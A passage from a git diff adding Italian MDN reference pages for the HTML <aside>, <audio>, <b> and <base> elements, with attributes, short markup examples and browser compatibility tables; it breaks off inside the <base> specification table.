+ <li><dfn>Contenuti permessi</dfn><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuti di flusso</a>.</li>
+ <li><dfn>Omissione del tag</dfn> No, sono neccessari sia il tag di apertura che di chiusura.</li>
+ <li><dfn>Elementi genitore permessi</dfn> Qualsiasi elemento che accetti <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">cntenuti di flusso</a>. Notare che un elemento &lt;aside&gt; non può essere discendente di un elemento {{HTMLElement("address")}}.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p><span style="line-height: 21px;">Questo elemento include solo gli </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">attributi globali</a><span style="line-height: 21px;">.</span></p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;p&gt;
+    Il film della Disney &lt;em&gt;La Sirenetta&lt;/em&gt; è stato
+    proiettato per la prima volta nel 1989.
+  &lt;/p&gt;
+  &lt;aside&gt;
+    Il film incassò 87 milioni di dollari durante la distribuzione iniziale.
+  &lt;/aside&gt;
+  &lt;p&gt;
+    Altre informazioni sul film ...
+  &lt;/p&gt;
+&lt;/article&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-aside-element', '&lt;aside&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-aside-element', '&lt;aside&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatiblità_con_i_browser">Compatiblità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.10</td>
+   <td>4.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>2.2</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0 (iOS 4.2)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Altri elementi correlati alle sezioni: {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li>
+ <li><a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Sezioni e indici nei documenti HTML5</a>.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/audio/index.html b/files/it/web/html/element/audio/index.html
new file mode 100644
index 0000000000..6db5d9f699
--- /dev/null
+++ b/files/it/web/html/element/audio/index.html
@@ -0,0 +1,341 @@
+---
+title: <audio>
+slug: Web/HTML/Element/audio
+translation_of: Web/HTML/Element/audio
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'elemento HTML <strong><code>&lt;audio&gt;</code></strong> viene usato per incorporare contenuti sonori nei documenti. Può contenere diverse origini dell'audio, rappresentate usando l'attributo {{htmlattrxref("src", "audio")}} o l'elemento {{HTMLElement("source")}}; il browser sceglierà il più adatto.</p>
+
+<p>Si può anche aggiungere del contenuto per i browser che non supportano l'elemento <code>&lt;audio&gt;</code>.</p>
+
+<p>Si possono usare direttamente le <a href="/it/docs/Web/API/Web_Audio_API">Web Audio API</a> per generare e manipolare l'audio tramite il codice JavaScript.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/it/docs/Web/HTML/Content_categories">Categorie del contenuto</a></dfn> <a href="/it/docs/Web/HTML/Content_categories#Flow_content">Contenuto di flusso</a>, contenuto delle espressioni, contenuto incluso. Se ha l'attributo {{htmlattrxref("controls", "audio")}}: contenuto interattivo e contenuto tangibile.</li>
+ <li><dfn>Contenuto permesso</dfn>Se l'elemento ha l'attributo {{htmlattrxref("src", "audio")}}: zero o più elementi {{HTMLElement("track")}}, seguiti da contenuto trasparente che non contenga elementi {{HTMLElement("audio")}} e {{HTMLElement("video")}}.</li>
+ <li>Altrimenti: zero o più elementi {{HTMLElement("source")}}, seguiti da zero o più elementi {{HTMLElement("track")}}, seguiti da contenuto trasparente che non contenga elementi {{HTMLElement("audio")}} e {{HTMLElement("video")}}.</li>
+ <li><dfn>Omissione dei tag</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Elementi genitore permessi</dfn> Qualsiasi elemento che accetti contenuto incluso.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLAudioElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento supporta gli <a href="/it/docs/Web/HTML/Global_attributes">attributi globali</a>.</p>
+
+<ul>
+ <li><strong><code>none</code></strong>: indica che probabilmente l'audio non verrà ascoltato dall'utente o che il selver vuole minimizzare il traffico; in altre parole l'audio non dovrebbe essere precaricato;</li>
+ <li><strong><code>metadata</code></strong>: indica che probabilmente l'audio non verrà ascoltato, ma potrebbero essere utili i metadati relativi ad esso;</li>
+ <li><strong><code>auto</code></strong>: lascia al browser la scelta se caricare o no l'audio.</li>
+</ul>
+
+<dl>
+ <dt>{{htmlattrdef("autoplay")}}</dt>
+ <dd>Un attributo Boleano; se specificato (anche se con valore <code>false</code>!), l'audio partirà automaticamente il prima possiblie senza fermarsi per caricare i dati.</dd>
+ <dt>{{htmlattrdef("autobuffer")}} {{obsolete_inline("2.0")}}</dt>
+ <dd>Un attributo Boleano; se specificato, l'audio verrà subito scaricato, anche se non viene impostato l'attributo {{htmlattrxref("autoplay", "audio")}}, e continuerà finché la cache ad esso destinata non è piena o non ha finito di scaricarsi. Quindi questo attributo dovrebbe essere usato solo se ci si aspetta che l'utente faccia partire l'audio in un secondo momento.</dd>
+ <dd>Questo attributo è stato rimosso in Gecko 2.0 {{geckoRelease("2.0")}}, a favore dell'attributo {{htmlattrxref("preload", "audio")}}.</dd>
+ <dt>{{htmlattrdef("buffered")}}</dt>
+ <dd>Un attributo che si può leggere per sapere quali parti dell'audio sono state scaricate. Questo attributo contiene un oggetto {{domxref("TimeRanges")}}.</dd>
+ <dt>{{htmlattrdef("controls")}}</dt>
+ <dd>Un attributo Boleano; se specificato, il browser offrirà dei controlli per l'audio, inclusi il volume e i pulsanti pausae play.</dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>Un attributo Boolano; se specificato, l'audio ripartirà automaticamente dall'inizio appena terminato.</dd>
+ <dt>{{htmlattrdef("mozCurrentSampleOffset")}} {{gecko_minversion_inline("2.0")}} {{non-standard_inline}}</dt>
+ <dd>The offset, specified as the number of samples since the beginning of the audio stream, at which the audio is currently playing.</dd>
+ <dt>{{htmlattrdef("muted")}}</dt>
+ <dd>Un attributo Boleano che indica se l'audio deve essere inizialmente muto.</dd>
+ <dt>{{htmlattrdef("played")}}</dt>
+ <dd>Un oggetto {{domxref("TimeRanges")}} che indica quali parti dell'audio sono state riprodotte.</dd>
+ <dt>{{htmlattrdef("preload")}}</dt>
+ <dd>Lo scopo di questo attributo è suggerire al browser se caricare subito o no la traccia audio. Può assumere uno dei seguenti valori:</dd>
+ <dd>
+ <p>Se non impostato, il valore predefinito è scelto dal browser, ma la specifica suggerisce <code>metadata</code>.</p>
+
+ <div class="note"><strong>Note:</strong>
+
+ <ul>
+  <li>L'attributo <code>autoplay</code> ha la precedenza rispetto a questo: se l'audio deve partire subito, il browser deve ovviamente scaricarlo. Comunque è permesso impostare entrambi gli attributi <code>autoplay</code> e <code>preload</code>.</li>
+  <li>La specifica non obbliga i browser a seguire il valore di questo attributo; è da considerare solo come un suggerimento.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>L'URL dell'audio da includere. È opzionale: si può sostituire con gli elementi {{HTMLElement("source")}} figli dell'elemento <strong><code>&lt;audio&gt;</code></strong><code>.</code>
+ <div> </div>
+
+ <div>
+ <div class="note"><strong>Nota:</strong> L'URL indicato è soggetto al <a href="/it/docs/HTTP_access_control">controllo di origine HTTP</a>.</div>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("volume")}}</dt>
+ <dd>Il volume della traccia audio, compreso tra 0.0 (silenzioso) e 1.0 (massimo).</dd>
+</dl>
+
+<p>Gli intervalli di tempo sono specificati come numeri decimali indicanti il numero di secondi da saltare.</p>
+
+<div class="note"><strong>Nota:</strong> La definizione dei valori degli intervalli di tempo non è ancora completa nella specifica HTML5 e potrebbe cambiare.</div>
+
+<h2 id="Eventi">Eventi</h2>
+
+<p>Un elemento <strong><code>&lt;audio&gt;</code></strong> diversi <a href="/it/docs/Web/Guide/Events/Media_events">eventi</a>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Uso_di_base">Uso di base</h3>
+
+<pre class="brush: html">&lt;!-- Un semplice audio --&gt;
+&lt;audio src="http://developer.mozilla.org/@api/deki/files/2926/=AudioTest_(1).ogg" autoplay&gt;
+  Il tuo browser non supporta l'elemento &lt;code&gt;audio&lt;/code&gt;.
+&lt;/audio&gt;
+
+&lt;!-- Audio con sottotitoli --&gt;
+&lt;audio src="foo.ogg"&gt;
+  &lt;track kind="captions" src="foo.en.vtt" srclang="en" label="English"&gt;
+  &lt;track kind="captions" src="foo.it.vtt" srclang="it" label="Italiano"&gt;
+&lt;/audio&gt;
+</pre>
+
+<h3 id="Audio_con_elementi_&lt;source>">Audio con elementi <code>&lt;source&gt;</code></h3>
+
+<pre class="brush: html">&lt;audio controls="controls"&gt;
+  Il tuo browser non supporta l'elemento &lt;code&gt;audio&lt;/code&gt;.
+  &lt;source src="foo.wav" type="audio/wav"&gt;
+&lt;/audio&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-video-element.html#the-audio-element', '&lt;audio&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-audio-element', '&lt;audio&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>3.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td>attributo <code>autoplay</code></td>
+   <td>3.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">attributo </span><code>buffered</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">attributo </span><code>controls</code></td>
+   <td>3.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">attributo </span><code>loop</code></td>
+   <td>3.0</td>
+   <td>{{CompatGeckoDesktop("11.0")}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">attributo </span><code>muted</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("11.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">proprietà </span><code>played</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">attributo </span><code>preload</code></td>
+   <td>3.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>Supported under the older name <code>autobuffer</code></td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">attributo </span><code>src</code></td>
+   <td>3.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">attributo </span><code>volume</code></td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">attributo </span><code>autoplay</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">attributo </span><code>buffered</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">attributo </span><code>controls</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">attributo </span><code>loop</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("11.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">attributo </span><code>muted</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("11.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">proprietà </span><code>played</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">attributo </span><code>preload</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">attributo </span><code>src</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">attributo </span><code>volume</code></td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="note"><strong>Nota:</strong> Geko riproduce gli audio solo se il server li serve usando il corretto tipo MIME.</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/it/docs/Media_formats_supported_by_the_audio_and_video_elements">Formati supportati dagli elementi <code>&lt;audio&gt;</code> e <code>&lt;video&gt;</code></a></li>
+ <li><a href="/it/docs/Web_Audio_API">Web Audio API</a></li>
+ <li>{{domxref("HTMLAudioElement")}}</li>
+ <li><a href="/it/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement"><code>nsIDOMHTMLMediaElement</code></a></li>
+ <li>{{htmlelement("source")}}</li>
+ <li>{{htmlelement("video")}}</li>
+ <li><a href="/it/docs/Using_HTML5_audio_and_video">Using audio and video</a></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#audio">L'elemento <code>audio</code></a> (specifica HTML5)</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/it/web/html/element/b/index.html b/files/it/web/html/element/b/index.html
new file mode 100644
index 0000000000..4b766aac7e
--- /dev/null
+++ b/files/it/web/html/element/b/index.html
@@ -0,0 +1,134 @@
+---
+title: <b>
+slug: Web/HTML/Element/b
+translation_of: Web/HTML/Element/b
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'elemento HTML <code><strong>&lt;b&gt;</strong></code>  rappresenta del testo stilisticamente diverso da quello normale, ma che ha la stessa importanza. Di solito è usato per evidenziare le parole chiave in un sommario, il nome dei prodotti nelle recensioni, o per evidenziare la frase più importante di un paragrafo o di un articolo.</p>
+
+<div class="note">
+<p><strong>Note:</strong></p>
+
+<ul>
+ <li>Non confondere l'elemento <code><strong>&lt;b&gt;</strong></code> con gli elementi {{HTMLElement("strong")}}, {{HTMLElement("em")}} o {{HTMLElement("mark")}}. L'elemento {{HTMLElement("strong")}} rappresenta del testo di una certa importanza, {{HTMLElement("em")}} attribuisce un po' di enfasi al testo e l'elemento {{HTMLElement("mark")}} evidenzia del testo rilevante.</li>
+ <li>Non evidenziare i titoli usando l'elemento <code>&lt;b&gt;</code>. Per questo scopo, usare i tag {{HTMLElement("h1")}}-{{HTMLElement("h6)")}}.</li>
+ <li>È una buona pratica usare l'attributo <code>class</code> con gli elementi <code>&lt;b&gt;</code>, così da attribuirgli maggior significato semantico (per esempio <code>&lt;b class="lead"&gt;</code> per la prima frase di un paragrafo). Ciò semplifica la modifca dello stile del testo senza dover cambiare il codice HTML.</li>
+ <li>Inizialmente l'unico scopo dell'elemento <code>&lt;b&gt;</code> era rendere il testo in grassetto. Siccome, a partire da HTML4, è deprecato inserire informazioni di stile nel codice HTML, il significato di questo elemento è cambiato.</li>
+ <li>Se l'elemento non ha nessun valore semantico, può essere meglio rendere il testo in grassetto usando la proprietà css <a href="/it/docs/CSS/font-weight">font-weight</a>.</li>
+</ul>
+</div>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categoria</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuto di flusso</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">contenuto di testo</a>, contenuto palpabile.</li>
+ <li><dfn>Contenuto permesso</dfn> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">Contenuto di testo</a>.</li>
+ <li><dfn>Omissione del tag</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Elementi genitore permessi</dfn>Qualsiasi elemento che accetti <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">contenuto di testo</a></li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLElement")}}. Fino a Gecko 1.9.2, Firefox implementava l'interfaccia {{domxref("HTMLSpanElement")}}.</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento accetta solo gli <a href="/it/docs/HTML/Global_attributes">attributi globali</a>.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: html">&lt;p&gt;
+  Questo articolo descrive diversi elementi a &lt;b&gt;livello di testo&lt;/b&gt;. Spiega il loro utilizzo in un documento &lt;b&gt;HTML&lt;/b&gt;.
+&lt;/p&gt;
+Le parole chiave sono mostrate con lo stile predefinito dell'elemento &lt;code&gt;b&lt;/code&gt;, probabilmente in grassetto.
+</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p>Questo articolo descrive diversi elementi a <strong>livello di testo</strong>. Spiega il loro utilizzo in un documento <strong>HTML</strong>.</p>
+
+<p>Le parole chiave sono mostrate con lo stile predefinito dell'elemento <code>b</code>, probabilmente in grassetto.</p>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-b-element', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-b-element', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.2.1', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Altri elementi riguardanti la <a href="/it/docs/HTML/Text_level_semantics_conveying_elements">semantica del testo</a>: {{HTMLElement("a")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("abbr")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li>
+ <li><a class="external" href="http://www.w3.org/International/questions/qa-b-and-i-tags">Using &lt;b&gt; and &lt;i&gt; elements (W3C)</a></li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/base/index.html b/files/it/web/html/element/base/index.html
new file mode 100644
index 0000000000..6b7bb01ba8
--- /dev/null
+++ b/files/it/web/html/element/base/index.html
@@ -0,0 +1,137 @@
+---
+title: <base>
+slug: Web/HTML/Element/base
+translation_of: Web/HTML/Element/base
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'elemento HTML <code>&lt;base&gt;</code> specifica l'URL di base al quale sono relativi tutti gli URL contenuti nel documento. Può esserci solo un tag <code>&lt;base&gt;</code> per pagina.</p>
+
+<p>L'URL di base di un documento può essere ottenuto dagli script usando {{domxref('document.baseURI')}}.</p>
+
+<div class="note"><strong>Nota:</strong> Se viene specificato più di un elemento <code>&lt;base&gt;</code>, vengono considerati solo il primo attributo <code>href</code> e il primo <code>target</code>, tutti gli altri vengono ignorati.</div>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categoria</a></dfn> Contenuto di metadati.</li>
+ <li><dfn>Contenuto permesso</dfn> Nessuno, è un {{Glossary("empty element", "elemento vuoto")}}.</li>
+ <li><dfn>Omissione del tag</dfn> Non ci deve essere il tag di chiusura.</li>
+ <li><dfn>Elementi genitore permessi</dfn> Qualsiasi elemento {{HTMLElement("head")}} che non contenga altri elementi {{HTMLElement("base")}}.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLBaseElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento include gli <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">attributi globali</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd>L'URL di base da usare nel documento per risolvere gli indirizzi URL relativi. Se questo attributo viene specificato, questo elemento deve precedere ogni elemento il cui valore è un URL relativo.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>Questo attributo specifica dove deve essere visualizzata la risorsa linkata. In HTML4, questo è il nome, o una parola chiave, per una cornice (frame). In HTML5, è il nome, o parola chiave, di un contesto di navigazione (<em>browsing context</em>) (per esempio un'ettichetta, una finestra o un frame in linea). Le seguenti parole chiave hanno uno speciale significato:
+ <ul>
+  <li><code>_self</code>: Carica il documento nello stesso frame. Questo è il valore predefinito.</li>
+  <li><code>_blank</code>: Carica il documento in una nuova finestra.</li>
+  <li><code>_parent</code>: Carica il documento nel frameset genitore del frame corrente. Se non c'è il genitore, questa opzione si comporta allo stesso modo di <code>_self</code>.</li>
+  <li><code>_top</code>: Carica il documento dentro la finestra originale completa (la scheda del browser), cancellando gli altri frame. Se non c'è il genitore, questa opzione si comporta allo stesso modo di <code style="font-style: normal;">_self</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: html">&lt;base target="_blank" href="http://www.example.com/public/"&gt;
+&lt;a href="/index.html"&gt;Home&lt;/a&gt;
+</pre>
+
+<p>In questo esempio, quando l'utente clicca su link "Home", verrà aperta la pagina <code>http://www.example.com/public/index.html</code> in una nuova scheda.</p>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
